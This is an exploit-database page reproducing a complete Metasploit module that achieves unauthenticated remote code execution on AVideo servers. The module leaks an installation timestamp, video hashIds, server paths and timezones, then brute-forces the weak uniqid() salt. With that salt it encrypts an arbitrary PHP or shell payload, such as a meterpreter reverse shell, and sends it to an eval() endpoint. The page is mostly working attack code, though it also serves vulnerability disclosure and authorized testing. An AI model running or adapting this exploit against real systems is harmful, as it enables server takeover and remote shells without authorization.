AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution

2026.01.18
Credit: Valentin
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'openssl' require 'time' require 'tzinfo' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Payload::Php include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery', 'Description' => %q{ This module exploits an unauthenticated remote code execution (RCE) vulnerability in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical cryptographic weakness in the salt generation mechanism combined with information disclosure vulnerabilities that allow an attacker to discover the encryption salt through offline bruteforce. Root Cause: During installation, AVideo generates an encryption salt using PHP's uniqid() function, which is not cryptographically secure. uniqid() generates a 13-character hexadecimal string composed of: 8 characters for Unix timestamp in hex, and 5 characters for microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values). Exploit Chain: 1. Leak installation timestamp from /objects/categories.json.php (public endpoint) 2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php 3. Leak system root path from posterPortraitPath in video API responses 4. Leak server timezones from /objects/getTimes.json.php 5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison 6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval() The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter, which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails, it retries with the old uniqid() salt. This fallback makes the RCE exploitable. Affected Versions: AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with eval($callback) (introduced January 7, 2025). Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT. This vulnerability does not require authentication and can be exploited remotely by any attacker who can access the AVideo instance. }, 'Author' => [ 'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt ['CVE', '2025-34441'], # Information Disclosure: hashId leak ['CVE', '2025-34442'], # Information Disclosure: System Path leak ['URL', 'https://github.com/WWBN/AVideo/pull/10284'], ['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'], ['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt'] ], 'Platform' => %w[php unix linux win], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP # tested with php/meterpreter/reverse_tcp } ], [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command Shell', { 'Platform' => 'win', 'Arch' => ARCH_CMD # tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-12-19', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']), OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']), OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/']) ]) end def check gather_info return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists salt_provided = !datastore['SALT'].to_s.empty? unless salt_provided return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible end return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1') return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version CheckCode::Appears('Prerequisites met (version unknown)') end def exploit gather_info fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) vprint_status('Executing payload...') res = send_rce_payload(callback_payload) return if session_created? if res&.code == 200 vprint_status("Payload executed (response: #{res.code})") return end error_msg = parse_error_from_response(res) fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}") end def parse_error_from_response(res) return nil unless res&.body data = JSON.parse(res.body) return data['msg'] if data['msg'] && !data['msg'].to_s.empty? return 'Unknown error' if data['error'] == true nil rescue JSON::ParserError nil end def gather_info return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info vprint_status('Gathering target information...') detect_version @notify_exists = check_notify_endpoint @timestamp_accessible = check_endpoint('objects/categories.json.php') @timestamps ||= get_timestamps if @timestamp_accessible # get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests @video_info ||= get_video_info @hashid_accessible = !@video_info.nil? end def detect_version res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true }) return unless res&.code == 200 version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m) return unless version_match && version_match[1] @version = Rex::Version.new(version_match[1]) vprint_status("Detected AVideo version: #{@version}") end def check_endpoint(path) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' }) res&.code == 200 end def check_notify_endpoint res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' }) return false unless res res.code == 403 && res.body.to_s.include?('Empty notifyCode') end # Fetch server timezones to test multiple uniqid calculations with different offsets def get_timezones res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'), 'method' => 'GET' }) return [nil, nil] unless res&.code == 200 data = JSON.parse(res.body) [data['_serverSystemTimezone'], data['_serverDBTimezone']] rescue StandardError [nil, nil] end # If the default category created at install was deleted, exploit will fail (timestamp not guessable) def get_timestamps vprint_status('Leaking installation timestamp...') system_tz, db_tz = get_timezones vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' }) return [] unless res&.code == 200 # Try JSON parsing first, fallback to regex if JSON is invalid timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz) return timestamps if timestamps.any? parse_timestamps_from_regex(res.body, system_tz, db_tz) end def parse_timestamps_from_json(body, system_tz, db_tz) data = JSON.parse(body) rows = data['rows'] return [] unless rows.is_a?(Array) && !rows.empty? first_category = rows.min_by { |c| c['id'].to_i } created = first_category['created'] timestamps = datetime_to_timestamps(created, system_tz, db_tz) vprint_good("Installation timestamp: #{created} -> #{timestamps.first}") timestamps rescue JSON::ParserError [] end def parse_timestamps_from_regex(body, system_tz, db_tz) matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m) return [] if matches.empty? created = matches.min_by { |m| m[0].to_i }[1] timestamps = datetime_to_timestamps(created, system_tz, db_tz) vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}") timestamps end def datetime_to_timestamps(dt_str, system_tz, db_tz) dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S') dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec) timezones = [system_tz, db_tz, 'UTC'].compact.uniq timezones.map do |tz| tz_obj = TZInfo::Timezone.get(tz) format('%x', tz_obj.local_to_utc(dt_local).to_i) end.uniq rescue StandardError => e vprint_error("Error converting datetime: #{e}") [] end def get_system_root return @system_root if @system_root && !@system_root.empty? # Try to get from cached endpoint responses first @system_root = extract_system_root_from_cache if @system_root vprint_good("System root leaked: #{@system_root}") return @system_root end # On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances) @system_root = datastore['SYSTEM_ROOT'] vprint_status("Using fallback system root: #{@system_root}") @system_root end def extract_system_root_from_cache pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/ # Collect all cached response bodies to scan bodies = (@endpoint_cache || {}).values bodies.each do |body| body.scan(pattern).each do |match| path = match[0].gsub('\\/', '/') root = find_root_in_path(path) return root if root end end nil end def find_root_in_path(path) %w[/view/ /videos/ /plugin/].each do |subdir| return path.split(subdir)[0] + '/' if path.include?(subdir) end nil end # Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction) # Note: videosAndroid.json.php can take a long time to load, this is expected # hashId won't be accessible if no public videos exist on the instance def get_video_info vprint_status('Leaking video hashId...') @endpoint_cache ||= {} endpoints = [ normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'), normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video', normalize_uri(target_uri.path, 'view', 'info.php') ] endpoints.each do |endpoint| info = extract_video_info_from_endpoint(endpoint) return info if info rescue StandardError => e vprint_error("Error checking #{endpoint}: #{e}") end nil end def extract_video_info_from_endpoint(endpoint) # Use cached response if available body = @endpoint_cache[endpoint] unless body res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' }) return nil unless res&.code == 200 body = res.body @endpoint_cache[endpoint] = body end data = JSON.parse(body) videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : []) return nil if videos.empty? video = videos.find { |v| v['id'] && v['hashId'] } return nil unless video hash_id = video['hashId'] cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC' vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})") { id: video['id'].to_i, hash_id: hash_id, cipher: cipher } end def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC') key = Digest::MD5.hexdigest(salt)[0, 16] plaintext = video_id.to_s(32) cipher = OpenSSL::Cipher.new(cipher_type) cipher.encrypt cipher.key = key cipher.iv = key if cipher_type == 'AES-128-CBC' Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final) end def encrypt_payload(payload) key = Digest::SHA256.hexdigest(@salt)[0, 32] iv = Digest::SHA256.hexdigest(@system_root)[0, 16] cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.encrypt cipher.key = key cipher.iv = iv Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final)) end def test_salt_candidate(candidate, video) compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id] end def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total) return unless (micro % 100_000).zero? && micro > 0 current = (ts_idx * 0x100000) + micro pct = (100.0 * current / total).round(1) formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r") end def bruteforce_salt(timestamps, video) vprint_status("Bruteforcing salt (#{video[:cipher]})...") start_time = Time.now total = timestamps.length * 0x100000 timestamps.each_with_index do |ts_hex, ts_idx| (0...0x100000).each do |micro| candidate = format('%s%05x', ts_hex, micro) if test_salt_candidate(candidate, video) print("\r") elapsed = (Time.now - start_time).round(2) vprint_good("Salt found: #{candidate} (in #{elapsed}s)") return candidate end print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total) end end print("\r") nil end def discover_salt @salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty? if @salt vprint_good("Using provided salt: #{@salt}") return get_system_root end get_system_root @timestamps ||= get_timestamps @video_info ||= get_video_info return false if @timestamps.empty? || !@video_info @salt = bruteforce_salt(@timestamps, @video_info) !@salt.nil? end def send_rce_payload(callback_payload) notify_code = encrypt_payload('valid') callback = encrypt_payload(callback_payload) filename = Rex::Text.rand_text_alphanumeric(8..16) ext = %w[mp4 avi mkv mov webm].sample full_filename = "#{filename}.#{ext}" notify_data = { 'avideoPath' => full_filename, 'avideoRelativePath' => full_filename, 'avideoFilename' => filename } notify = JSON.generate(notify_data.to_a.shuffle.to_h) params = { 'notifyCode' => notify_code, 'notify' => notify, 'callback' => callback } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET', 'vars_get' => params.to_a.shuffle.to_h }) res end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top